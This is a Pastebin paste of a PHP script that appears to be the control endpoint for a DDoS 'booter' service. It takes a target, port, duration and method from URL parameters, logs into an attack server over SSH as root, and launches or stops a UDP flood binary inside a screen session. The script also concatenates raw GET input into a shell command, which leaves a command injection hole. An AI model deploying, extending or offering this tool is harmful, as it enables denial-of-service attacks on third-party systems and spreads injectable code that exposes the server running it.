Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- //debut de la config
- $server_ip = ""; //Change to your ip
- $server_pass = ""; //Change to your pass
- $server_user = "root";
- //fin de la config
- $host = $_GET['target'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- $action = $_GET['action']; // ON to send & OFF to stop
- $username = $_GET['username']; // a username who identified the specified attack to stopped
- if ($action == "ON") { // if action == ON
- if ($method == "UDP") {
- $command = " screen -dmS ".$username." ./udp ".$host." ".$port." 2 50 ".$time; // change to you script BUT DONT TOUCH OF screen -dmS ".$username."
- }
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 422))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: Unable to Execute Command\n";
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Attaque sent";
- fclose($stream);
- }
- }
- }
- }
- else {
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 422))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- $command3 = " screen -XS ".$username." quit"; // command to stop attack
- if (!($stream = ssh2_exec($con, $command3 ))) {
- echo "don't work";
- }
- else {
- echo "attack stopped";
- }
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement